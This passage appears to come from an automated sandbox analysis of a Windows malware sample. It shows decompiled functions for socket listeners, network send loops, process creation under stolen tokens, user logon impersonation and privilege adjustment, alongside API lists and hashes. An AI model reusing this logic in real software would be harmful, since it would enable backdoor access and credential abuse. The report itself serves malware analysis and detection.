						_push(_v20);
						_push(_t31);
						L008832FE();
					} else {
						Sleep(0x3e8);
						continue;
					}
					L5:
					Sleep(0x3e8);
					_push(_t31);
					L00883304();
					return _t29;
				}
				_t29 = E00861EF5(0x46);
				goto L5;
			}

0x00862ce5
0x00862cf4
0x00862d05
0x00862d0b
0x00862d1c
0x00862d29
0x00862d35
0x00862d44
0x00862d47
0x00862d6d
0x00862d54
0x00862d59
0x00862d5d
0x00862d60
0x00862d91
0x00862d93
0x00862d96
0x00862d99
0x00862d9a
0x00862d62
0x00862d67
0x00000000
0x00862d67
0x00862d7b
0x00862d80
0x00862d86
0x00862d87
0x00862d90
0x00862d90
0x00862d75
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00862CF7

Part of subcall function 008625A5: WSAStartup.WS2_32(00000202,?), ref: 008625C3
Part of subcall function 008625A5: WSACleanup.WS2_32 ref: 008625CD

Sleep.KERNEL32(000003E8,?,?,?,00000001,?,00000000,?,?,00000000,?,?,?,?,?,?), ref: 00862D67
GetTickCount.KERNEL32 ref: 00862D6D
Sleep.KERNEL32(000003E8,00000000,?,?,00000000,?,?,?,00000001,?,00000000,?,?,00000000,?,?), ref: 00862D80
closesocket.WS2_32(00000000), ref: 00862D87
send.WS2_32(00000000,?,?,00000000), ref: 00862D9A

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: CountSleepTick$CleanupStartupclosesocketsend
String ID:
API String ID: 2410302135-0
Opcode ID: bb72677082bce6308af8f9eb0c0bfb48f6248a0836d07e25239ff79623869ba4
Instruction ID: aeb435e757333de703208b88af9b6cf9411a1e73b63bd2413400b4719c84b132
Opcode Fuzzy Hash: bb72677082bce6308af8f9eb0c0bfb48f6248a0836d07e25239ff79623869ba4
Instruction Fuzzy Hash: B5118B72C0421CABDF01ABF8EC86CDD7B78FF08320F250566F611E6091EE3596108B62

Uniqueness

Uniqueness Score: -1.00%

Function 00866A49, Relevance: 9.1, APIs: 6, Instructions: 54
networkCOMMON

Download Yara Rule

C-Code - Quality: 29%

			E00866A49(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v12;
				intOrPtr _v24;
				short _v26;
				char _v28;
				void* _t10;
				short _t11;
				char* _t13;
				char* _t14;
				signed int _t17;
				signed int _t18;
				void* _t21;

				_v12 = 1;
				_t10 = E008625A5();
				_push(0);
				_push(1);
				_push(2);
				L0088330A();
				_t21 = _t10;
				_t18 = _t17 | 0xffffffff;
				if(_t21 != _t18) {
					_t11 = 2;
					_v28 = _t11;
					L008832EC();
					_v26 = _t11;
					_v24 = _a4;
					_t13 =  &_v12;
					__imp__#10(_t21, 0x8004667e, _t13, _a8);
					if(_t13 != _t18) {
						_t14 =  &_v28;
						__imp__#2(_t21, _t14, 0x10);
						if(_t14 == _t18) {
							goto L3;
						}
						__imp__#13(_t21, _a12);
						if(_t14 == _t18) {
							goto L3;
						}
						return _t21;
					}
					L3:
					_push(_t21);
					L00883304();
				}
				return _t18;
			}

0x00866a54
0x00866a57
0x00866a5c
0x00866a5e
0x00866a5f
0x00866a61
0x00866a66
0x00866a68
0x00866a6d
0x00866a75
0x00866a79
0x00866a7d
0x00866a82
0x00866a89
0x00866a8c
0x00866a96
0x00866a9e
0x00866aaa
0x00866aaf
0x00866ab7
0x00000000
0x00000000
0x00866abd
0x00866ac5
0x00000000
0x00000000
0x00000000
0x00866ac7
0x00866aa0
0x00866aa0
0x00866aa1
0x00866aa1
0x00000000

APIs

Part of subcall function 008625A5: WSAStartup.WS2_32(00000202,?), ref: 008625C3
Part of subcall function 008625A5: WSACleanup.WS2_32 ref: 008625CD

socket.WS2_32(00000002,00000001,00000000), ref: 00866A61
htons.WS2_32(00000001), ref: 00866A7D
ioctlsocket.WS2_32(00000000,8004667E,?), ref: 00866A96
closesocket.WS2_32(00000000), ref: 00866AA1
bind.WS2_32(00000000,00866AFB,00000010), ref: 00866AAF
listen.WS2_32(00000000,?), ref: 00866ABD

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: CleanupStartupbindclosesockethtonsioctlsocketlistensocket
String ID:
API String ID: 3027695370-0
Opcode ID: ac40166a6b8a738a89f2f0b90d4c89571c675d957b60d565d40cc7162854d318
Instruction ID: ab6bd8e2875590b0cb91f581aef1ca793c5211315e1022784b6bc3f9df95e44b
Opcode Fuzzy Hash: ac40166a6b8a738a89f2f0b90d4c89571c675d957b60d565d40cc7162854d318
Instruction Fuzzy Hash: 1F01D831A00568BACB21ABE88C46EEEBA39FF40761F214106F911F6191F7308A5187E6

Uniqueness

Uniqueness Score: -1.00%

Function 00401949, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 004019A5
GetProcAddress.KERNEL32 ref: 004019CC
GetProcAddress.KERNEL32 ref: 004019E6
FreeLibrary.KERNEL32 ref: 00401A5A

Strings

u`D, xrefs: 004019C1

Memory Dump Source

Source File: 00000000.00000002.507969338.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.507960494.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.507986102.0000000000403000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.508034111.0000000000446000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.508042179.0000000000448000.00000004.00020000.sdmp Download File

Similarity

API ID: AddressLibraryProc$FreeLoad
String ID: u`D
API String ID: 2256533930-3107429767
Opcode ID: 84fa7f895c6f4bece12838179c9481cf6cca8e7bb2443844d4b6518449c3c913
Instruction ID: ab1bda0ba53ceafc68f4086e83e599450934789026cb14e84b8f6feffcaf4e95
Opcode Fuzzy Hash: 84fa7f895c6f4bece12838179c9481cf6cca8e7bb2443844d4b6518449c3c913
Instruction Fuzzy Hash: 103146B56053008BD710EF68D9C872A7BF0BB42305F44453ED8489B3A1DB7A9895CFDA

Uniqueness

Uniqueness Score: -1.00%

Function 00863889, Relevance: 7.6, APIs: 5, Instructions: 65
processCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00863889(CHAR** __esi) {
				void* _t8;
				int _t9;
				intOrPtr _t29;

				_t22 = __esi;
				_t8 =  *0x897e90;
				if(_t8 == 0 || __esi[5] != 0) {
					_t5 =  &(_t22[3]); // 0x55ff50d4
					_t6 =  &(_t22[2]); // 0x458d0874
					_t7 =  &(_t22[4]); // 0x3d8359ec
					_t9 = CreateProcessA(0,  *_t22, 0, 0, 1,  *_t7, 0, 0,  *_t6,  *_t5);
					__eflags = _t9;
					if(_t9 != 0) {
						goto L10;
					}
					_push(GetLastError());
					_push( *_t22);
					_push(0x30);
					goto L7;
				} else {
					_t2 =  &(_t22[3]); // 0x55ff50d4
					_t3 =  &(_t22[2]); // 0x458d0874
					_t4 =  &(_t22[4]); // 0x3d8359ec
					if(CreateProcessAsUserA(_t8, 0,  *__esi, 0, 0, 1,  *_t4, 0, 0,  *_t3,  *_t2) != 0) {
						L10:
						__eflags = 1;
						return 1;
					}
					if(GetLastError() != 0x522) {
						L6:
						_push(GetLastError());
						_push( *_t22);
						_push(0x29);
						L7:
						E00861EC5();
						return 0;
					}
					_t29 = __imp__CreateProcessWithTokenW; // 0x75541490
					if(_t29 == 0) {
						goto L6;
					}
					_push(__esi);
					return E00863687(_t29);
				}
			}

0x00863889
0x0086388a
0x00863895
0x008638ec
0x008638ef
0x008638f4
0x008638fe
0x00863904
0x00863906
0x00000000
0x00000000
0x0086390e
0x0086390f
0x00863911
0x00000000
0x0086389c
0x0086389c
0x0086389f
0x008638a4
0x008638b7
0x00863915
0x00863917
0x00000000
0x00863917
0x008638c6
0x008638d9
0x008638db
0x008638dc
0x008638de
0x008638e0
0x008638e0
0x00000000
0x008638e8
0x008638c8
0x008638ce
0x00000000
0x00000000
0x008638d0
0x00000000
0x008638d6

APIs

CreateProcessAsUserA.ADVAPI32(?,00000000,008674D7,00000000,00000000,00000001,3D8359EC,00000000,00000000,458D0874,55FF50D4,?,008683CE,00000011,00863981,?), ref: 008638AF
GetLastError.KERNEL32(?,?,008674D7,008683CE,?), ref: 008638BF
GetLastError.KERNEL32(?,?,008674D7,008683CE,?), ref: 008638D9

Part of subcall function 00863687: _memset.LIBCMT ref: 008636B5
Part of subcall function 00863687: _memset.LIBCMT ref: 008636D1

CreateProcessA.KERNEL32 ref: 008638FE
GetLastError.KERNEL32(?,?,008674D7,008683CE,?), ref: 00863908

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: ErrorLast$CreateProcess_memset$User
String ID:
API String ID: 3779600536-0
Opcode ID: 13ce6a33d230ff1f6426aea8532b888bca0ba1fd57b57cd9a670d3269a9fe18d
Instruction ID: cc41c3038f6c77d7b0e332f2966028f2fb371ddf91396937c8d6b1bdad725fa0
Opcode Fuzzy Hash: 13ce6a33d230ff1f6426aea8532b888bca0ba1fd57b57cd9a670d3269a9fe18d
Instruction Fuzzy Hash: 67118B31604640BEDB321FA6EC48E277FBDFFCAB05B21082DF592C1460D6628A50EB21

Uniqueness

Uniqueness Score: -1.00%

Function 0087E2E1, Relevance: 7.6, APIs: 5, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E0087E2E1(intOrPtr __ebx, intOrPtr __edx, intOrPtr __edi, char __esi) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				struct _EXCEPTION_POINTERS _v732;
				intOrPtr _v800;
				char _v812;
				intOrPtr* _v816;
				void* __ebp;
				signed int _t35;
				intOrPtr _t37;
				intOrPtr* _t39;
				char* _t41;
				intOrPtr _t51;
				intOrPtr _t52;
				intOrPtr _t54;
				intOrPtr _t55;
				char _t56;
				signed int _t57;
				void* _t59;

				_t56 = __esi;
				_t55 = __edi;
				_t54 = __edx;
				_t51 = __ebx;
				_t35 = E008915E8; // 0xd8f93c05
				_v8 = _t35 ^ _t57;
				_push(__esi);
				if(( *0x891d90 & 0x00000001) != 0) {
					E008771AC(__edx, 0xa);
					_pop(_t52);
				}
				_t37 = E00879F2D();
				_t61 = _t37;
				if(_t37 != 0) {
					_t37 = E00879F3A(_t51, _t54, _t55, _t56, _t61);
					_t52 = 0x16;
				}
				if(( *0x891d90 & 0x00000002) != 0) {
					_v548 = _t37;
					_v552 = _t52;
					_v556 = _t54;
					_v560 = _t51;
					_v564 = _t56;
					_v568 = _t55;
					_v524 = ss;
					_v536 = cs;
					_v572 = ds;
					_v576 = es;
					_v580 = fs;
					_v584 = gs;
					asm("pushfd");
					_pop( *_t18);
					_t56 = _v0;
					_t41 =  &_v0;
					_v528 = _t41;
					_v724 = 0x10001;
					_v540 = _t56;
					_v544 =  *((intOrPtr*)(_t41 - 4));
					E0087C290(_t55,  &_v812, 0, 0x50);
					_t59 = _t59 + 0xc;
					_v732.ExceptionRecord =  &_v812;
					_v812 = 0x40000015;
					_v800 = _t56;
					_v732.ContextRecord =  &_v724;
					SetUnhandledExceptionFilter(0);
					UnhandledExceptionFilter( &_v732);
				}
				E00874FC2(3);
				asm("int3");
				_push(_t57);
				_t39 = _v816;
				if(_t39 != 0) {
					_t39 = _t39 - 8;
					_t64 =  *_t39 - 0xdddd;
					if( *_t39 == 0xdddd) {
						_push(_t39);
						return E00874778(_t51, _t54, _t55, _t56, _t64);
					}
				}
				return _t39;
			}

0x0087e2e1
0x0087e2e1
0x0087e2e1
0x0087e2e1
0x0087e2ea
0x0087e2f1
0x0087e2fb
0x0087e2fc
0x0087e300
0x0087e305
0x0087e305
0x0087e306
0x0087e30b
0x0087e30d
0x0087e311
0x0087e316
0x0087e316
0x0087e31e
0x0087e324
0x0087e32a
0x0087e330
0x0087e336
0x0087e33c
0x0087e342
0x0087e348
0x0087e34f
0x0087e356
0x0087e35d
0x0087e364
0x0087e36b
0x0087e372
0x0087e373
0x0087e379
0x0087e37c
0x0087e37f
0x0087e385
0x0087e38f
0x0087e39a
0x0087e3a9
0x0087e3b4
0x0087e3b7
0x0087e3c5
0x0087e3cf
0x0087e3d5
0x0087e3db
0x0087e3e8
0x0087e3e8
0x0087e3f0
0x0087e3f5
0x0087e3f8
0x0087e3fb
0x0087e400
0x0087e402
0x0087e405
0x0087e40b
0x0087e40d
0x00000000
0x0087e413
0x0087e40b
0x0087e415

APIs

__NMSG_WRITE.LIBCMT ref: 0087E300

Part of subcall function 008771AC: __set_error_mode.LIBCMT ref: 008771DD
Part of subcall function 008771AC: __set_error_mode.LIBCMT ref: 008771EE
Part of subcall function 008771AC: _strcpy_s.LIBCMT ref: 00877222
Part of subcall function 008771AC: __invoke_watson.LIBCMT ref: 00877233
Part of subcall function 008771AC: GetModuleFileNameA.KERNEL32(00000000,00893381,00000104), ref: 0087724F
Part of subcall function 008771AC: _strcpy_s.LIBCMT ref: 00877264
Part of subcall function 008771AC: __invoke_watson.LIBCMT ref: 00877277
Part of subcall function 008771AC: _strlen.LIBCMT ref: 00877280
Part of subcall function 008771AC: _strlen.LIBCMT ref: 0087728D
Part of subcall function 008771AC: __invoke_watson.LIBCMT ref: 008772BA

_raise.LIBCMT ref: 0087E311
_memset.LIBCMT ref: 0087E3A9
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0087E3DB
UnhandledExceptionFilter.KERNEL32(?), ref: 0087E3E8

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: __invoke_watson$ExceptionFilterUnhandled__set_error_mode_strcpy_s_strlen$FileModuleName_memset_raise
String ID:
API String ID: 4212829890-0
Opcode ID: aa6cef9d92bcf83129369aa4a9bc7ebccdb2c4bd83e869aa77d673f3035418d4
Instruction ID: 76dcc7a4b002d5a8c02d0f5b650e71b9a4b91bcd0138dab89e0cc929b2efedb2
Opcode Fuzzy Hash: aa6cef9d92bcf83129369aa4a9bc7ebccdb2c4bd83e869aa77d673f3035418d4
Instruction Fuzzy Hash: 1021DF71C1232D9ACB21AF68DC89789BBB8BF08700F1041DAE50CA6261DB749BC08F45

Uniqueness

Uniqueness Score: -1.00%

Function 0087C09E, Relevance: 7.6, APIs: 5, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0087C09E(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 - E008915E8; // 0xd8f93c05
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x893948 = _t6;
				 *0x893944 = _t22;
				 *0x893940 = _t25;
				 *0x89393c = _t21;
				 *0x893938 = _t27;
				 *0x893934 = _t26;
				 *0x893960 = ss;
				 *0x893954 = cs;
				 *0x893930 = ds;
				 *0x89392c = es;
				 *0x893928 = fs;
				 *0x893924 = gs;
				asm("pushfd");
				_pop( *0x893958);
				 *0x89394c =  *_t31;
				 *0x893950 = _v0;
				 *0x89395c =  &_a4;
				 *0x893898 = 0x10001;
				 *0x89384c =  *0x893950;
				 *0x893840 = 0xc0000409;
				 *0x893844 = 1;
				_t12 = E008915E8; // 0xd8f93c05
				_v812 = _t12;
				_t13 =  *0x8915ec; // 0x2706c3fa
				_v808 = _t13;
				 *0x893890 = IsDebuggerPresent();
				_push(1);
				E0087E095(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x887c18);
				if( *0x893890 == 0) {
					_push(1);
					E0087E095(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0087c09e
0x0087c09e
0x0087c09e
0x0087c09e
0x0087c09e
0x0087c09e
0x0087c09e
0x0087c0a4
0x0087c0a6
0x0087c0a6
0x0087fa0d
0x0087fa12
0x0087fa18
0x0087fa1e
0x0087fa24
0x0087fa2a
0x0087fa30
0x0087fa37
0x0087fa3e
0x0087fa45
0x0087fa4c
0x0087fa53
0x0087fa5a
0x0087fa5b
0x0087fa64
0x0087fa6c
0x0087fa74
0x0087fa7f
0x0087fa8e
0x0087fa93
0x0087fa9d
0x0087faa7
0x0087faac
0x0087fab2
0x0087fab7
0x0087fac3
0x0087fac8
0x0087faca
0x0087fad2
0x0087fadd
0x0087faea
0x0087faec
0x0087faee
0x0087faf3
0x0087fb07

APIs

IsDebuggerPresent.KERNEL32 ref: 0087FABD
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0087FAD2
UnhandledExceptionFilter.KERNEL32(00887C18), ref: 0087FADD
GetCurrentProcess.KERNEL32(C0000409), ref: 0087FAF9
TerminateProcess.KERNEL32(00000000), ref: 0087FB00

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 84356d14d93658afeb5364495c0453f1610a1dd0321ea9f1c6a5d032ccdd226e
Instruction ID: 648dd61a3514f0437bdb5c8eb955a631b9fd5e65dd297b52b1db72e9b65b2b7b
Opcode Fuzzy Hash: 84356d14d93658afeb5364495c0453f1610a1dd0321ea9f1c6a5d032ccdd226e
Instruction Fuzzy Hash: 8321CCB881A305AFC710EF69EC89754BFF4FB4A714F18406BE90997360E7B09A808F05

Uniqueness

Uniqueness Score: -1.00%

Function 00402810, Relevance: 7.6, APIs: 5, Instructions: 51timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00402867
GetCurrentProcessId.KERNEL32 ref: 0040287C
GetCurrentThreadId.KERNEL32 ref: 00402884
GetTickCount.KERNEL32 ref: 0040288C
QueryPerformanceCounter.KERNEL32 ref: 0040289B

Memory Dump Source

Source File: 00000000.00000002.507969338.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.507960494.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.507986102.0000000000403000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.508034111.0000000000446000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.508042179.0000000000448000.00000004.00020000.sdmp Download File

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 2046de2bbf3fed01694eba4982445c19fceedfd309536a5d87a250b0dcb1a08f
Instruction ID: 45f71c3f531cf6cf1ea0507560569ba86a5e4ab5140e47ca2b2ff9cf2ee4e3e7
Opcode Fuzzy Hash: 2046de2bbf3fed01694eba4982445c19fceedfd309536a5d87a250b0dcb1a08f
Instruction Fuzzy Hash: 8F1129B98083088FC700AF69D54C10EBBF0BB89355F444A3EE98497350EB75DA558F8A

Uniqueness

Uniqueness Score: -1.00%

Function 0086AF43, Relevance: 7.5, APIs: 5, Instructions: 46
networkCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E0086AF43(intOrPtr __ebx, void* __ecx, void* __edi, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v16;
				short _v18;
				char _v20;
				void* __esi;
				char* _t7;
				short _t8;
				char* _t14;

				_t7 = E008625A5();
				_push(0);
				_push(1);
				_push(2);
				L0088330A();
				_t14 = _t7;
				if(_t14 != 0xffffffff) {
					_t8 = 2;
					_v20 = _t8;
					L008832EC();
					_v18 = _t8;
					_t7 =  &_v20;
					_v16 = 0x100007f;
					__imp__#2(_t14, _t7, 0x10, _a4);
					__eflags = _t7 - 0xffffffff;
					if(_t7 != 0xffffffff) {
						__imp__#13(_t14, 0x78);
						__eflags = _t7 - 0xffffffff;
						if(__eflags == 0) {
							goto L4;
						}
						return E0086A772(__ebx, __ecx, __edi, _t14, __eflags, E0086AEDF, E0086ADFF(__ebx, __ecx, __eflags, _t14, _a8));
					}
					L4:
					_push(_t14);
					L2:
					L00883304();
					return _t7;
				}
				_push(_t7);
				goto L2;
			}

0x0086af4a
0x0086af4f
0x0086af51
0x0086af53
0x0086af55
0x0086af5a
0x0086af5f
0x0086af6b
0x0086af6f
0x0086af73
0x0086af78
0x0086af7e
0x0086af83
0x0086af8a
0x0086af90
0x0086af93
0x0086af9b
0x0086afa1
0x0086afa4
0x00000000
0x00000000
0x00000000
0x0086afba
0x0086af95
0x0086af95
0x0086af62
0x0086af62
0x00000000
0x0086af62
0x0086af61
0x00000000

APIs

Part of subcall function 008625A5: WSAStartup.WS2_32(00000202,?), ref: 008625C3
Part of subcall function 008625A5: WSACleanup.WS2_32 ref: 008625CD

socket.WS2_32(00000002,00000001,00000000), ref: 0086AF55
closesocket.WS2_32(00000000), ref: 0086AF62
htons.WS2_32(?), ref: 0086AF73
bind.WS2_32(00000000,?,00000010), ref: 0086AF8A
listen.WS2_32(00000000,00000078), ref: 0086AF9B

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: CleanupStartupbindclosesockethtonslistensocket
String ID:
API String ID: 3713690034-0
Opcode ID: 1a87f496c956f5fe75ac60c295825eaba64032424d8a6dcc1b0b448c5bb891ef
Instruction ID: b4770abffdfbe7f702e6123262f5402b1c6512c631af27e552dced648e81e718
Opcode Fuzzy Hash: 1a87f496c956f5fe75ac60c295825eaba64032424d8a6dcc1b0b448c5bb891ef
Instruction Fuzzy Hash: 81018CB08442247ADA1577B89C0BFAE762CFF01724F524640F935FA1D2EBB48A405BA7

Uniqueness

Uniqueness Score: -1.00%

Function 004028E0, Relevance: 7.5, APIs: 5, Instructions: 37COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 0040292F
UnhandledExceptionFilter.KERNEL32 ref: 0040293F
GetCurrentProcess.KERNEL32 ref: 00402948
TerminateProcess.KERNEL32 ref: 00402959
abort.MSVCRT ref: 00402962

Memory Dump Source

Source File: 00000000.00000002.507969338.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.507960494.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.507986102.0000000000403000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.508034111.0000000000446000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.508042179.0000000000448000.00000004.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminateabort
String ID:
API String ID: 520269711-0
Opcode ID: 12276534fe033a6e5557f7ef4e56b72be21cfc52a6f01cff4d27660bf15d3b11
Instruction ID: db720c0dc75b3c90d849c5ad6fc967f67100a4920180ecd640dd8b066fa2bb55
Opcode Fuzzy Hash: 12276534fe033a6e5557f7ef4e56b72be21cfc52a6f01cff4d27660bf15d3b11
Instruction Fuzzy Hash: 0901BBB8808204DFD740EFB9E94964D7BF0BB06305F00853EE98897325EB749546DF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00862FCC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00862FCC(void* __eflags, intOrPtr _a4, intOrPtr _a8, void* _a12, intOrPtr _a16) {
				long _v8;
				intOrPtr _v12;
				struct _TOKEN_PRIVILEGES _v24;
				char _v40;
				char _v108;
				void* __ebx;
				long _t24;
				CHAR* _t32;
				void* _t38;
				void* _t39;

				_v24.PrivilegeCount = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				E008667D0( &_v40, _a4, _a8);
				_t24 = E0086682C( &_v40) & 0x0000ffff;
				_t39 = _t38 + 0x10;
				_t41 = _t24;
				if(_t24 <= 0) {
					L7:
					return _t24;
				} else {
					_v8 = _t24;
					do {
						_t32 =  &_v108;
						E008668FB(_t32, _t41,  &_v40, 0x40);
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosd");
						_t24 = LookupPrivilegeValueA(0, _t32,  &(_v24.Privileges));
						if(_t24 != 0) {
							_v24.PrivilegeCount = 1;
							_v12 = 2;
							_t24 = AdjustTokenPrivileges(_a12, 0,  &_v24, 0, 0, 0);
							if(_t24 != 0) {
								_t24 = GetLastError();
								if(_t24 == 0) {
									_t24 = E0086167E(_a16, "%s\n", _t32);
									_t39 = _t39 + 0xc;
								}
							}
						}
						_t17 =  &_v8;
						 *_t17 = _v8 - 1;
					} while ( *_t17 != 0);
					goto L7;
				}
			}

0x00862fdf
0x00862fe5
0x00862fe6
0x00862fe7
0x00862fec
0x00862ffa
0x00862ffd
0x00863000
0x00863002
0x0086307b
0x0086307b
0x00863004
0x00863004
0x00863007
0x0086300d
0x00863010
0x0086301a
0x0086301b
0x0086301c
0x0086301f
0x00863028
0x00863030
0x0086303d
0x00863044
0x0086304b
0x00863053
0x00863055
0x0086305d
0x0086306a
0x0086306f
0x0086306f
0x0086305d
0x00863053
0x00863072
0x00863072
0x00863072
0x00000000
0x00863007

APIs

LookupPrivilegeValueA.ADVAPI32(00000000,?,?), ref: 00863028
AdjustTokenPrivileges.ADVAPI32(?,00000000,00863230,00000000,00000000,00000000,?,?,?,00000001), ref: 0086304B
GetLastError.KERNEL32(?,?,?,00000001), ref: 00863055

Part of subcall function 0086167E: _vwprintf.LIBCMT ref: 00861688
Part of subcall function 0086167E: _vswprintf_s.LIBCMT ref: 008616AC

Strings

%s, xrefs: 00863062

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: AdjustErrorLastLookupPrivilegePrivilegesTokenValue_vswprintf_s_vwprintf
String ID: %s
API String ID: 2004037343-620797490
Opcode ID: 6f2ae274443ec53dce8103dcb90bb8bbf84de7894c5cfdba0996024d6d9e37d0
Instruction ID: c56cd46036eb6310f1e7a6f7fa144e93c412d209061536e2966f0d39a2109dd2
Opcode Fuzzy Hash: 6f2ae274443ec53dce8103dcb90bb8bbf84de7894c5cfdba0996024d6d9e37d0
Instruction Fuzzy Hash: DA112972A00619BAEB119FA9DD499EFBBBCFF08354F110425FA04E6151E631DF0887B2

Uniqueness

Uniqueness Score: -1.00%

Function 0086AB5E, Relevance: 6.1, APIs: 4, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E0086AB5E(void* __ebx, CHAR* _a4, CHAR* _a8, CHAR* _a12) {
				void* __edi;
				int _t21;
				intOrPtr* _t22;
				void* _t32;
				int _t35;

				E0086A848();
				if(LogonUserA(_a8, _a4, _a12, 9, 3, 0x897e90) == 0) {
					_push(GetLastError());
					_push(0x18);
					L2:
					return E00861E97();
				}
				__eflags = ImpersonateLoggedOnUser( *0x897e90);
				if(__eflags == 0) {
					_push(GetLastError());
					_push(0x19);
					goto L2;
				}
				 *0x897ea0 = E00866769(__ebx, __eflags, 0x800);
				 *0x897e94 = E00866857(_t14, 0x200);
				 *0x897e98 = E00866857( *0x897ea0, 0x200);
				 *0x897e9c = E00866857( *0x897ea0, 0x400);
				E00862886(_a8,  *0x897e98, 0x100);
				E00862886(_a4,  *0x897e94, 0x100);
				E00862886(_a12,  *0x897e9c, 0x200);
				 *0x897ea4 = 1;
				_t21 = E0086A885(0x400, __eflags,  *0x897e90, _a8);
				__eflags = _t21;
				if(_t21 != 0) {
					_t22 = _a8;
					_t32 = _t22 + 1;
					do {
						_t35 =  *_t22;
						_t22 = _t22 + 1;
						__eflags = _t35;
					} while (_t35 != 0);
					__eflags = _t22 - _t32;
					return E008612CF(__ebx, _a8, _t22 - _t32, 0xf);
				}
				return _t21;
			}

0x0086ab64
0x0086ab83
0x0086ab8b
0x0086ab8c
0x0086ab8e
0x00000000
0x0086ab94
0x0086aba6
0x0086aba8
0x0086abb0
0x0086abb1
0x00000000
0x0086abb1
0x0086abc7
0x0086abd8
0x0086abed
0x0086ac03
0x0086ac0b
0x0086ac1d
0x0086ac2f
0x0086ac45
0x0086ac4f
0x0086ac56
0x0086ac58
0x0086ac5a
0x0086ac5d
0x0086ac60
0x0086ac60
0x0086ac62
0x0086ac63
0x0086ac63
0x0086ac67
0x00000000
0x0086ac74
0x0086ac7b

APIs

Part of subcall function 0086A848: CloseHandle.KERNEL32(?), ref: 0086A852
Part of subcall function 0086A848: RevertToSelf.ADVAPI32 ref: 0086A860

LogonUserA.ADVAPI32(?,?,0086AD0B,00000009,00000003,00897E90), ref: 0086AB7B
GetLastError.KERNEL32(?,0086AD0B,?,?,?,?,?,?,?,?,?,?,?,00000001,?,?), ref: 0086AB85

Part of subcall function 00866769: _malloc.LIBCMT ref: 0086676F
Part of subcall function 00866769: _malloc.LIBCMT ref: 0086677F
Part of subcall function 00866769: _memset.LIBCMT ref: 00866791

Part of subcall function 00862886: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,008638D6,00000400,?,008636FB,008638D6,?,00000400), ref: 0086289C
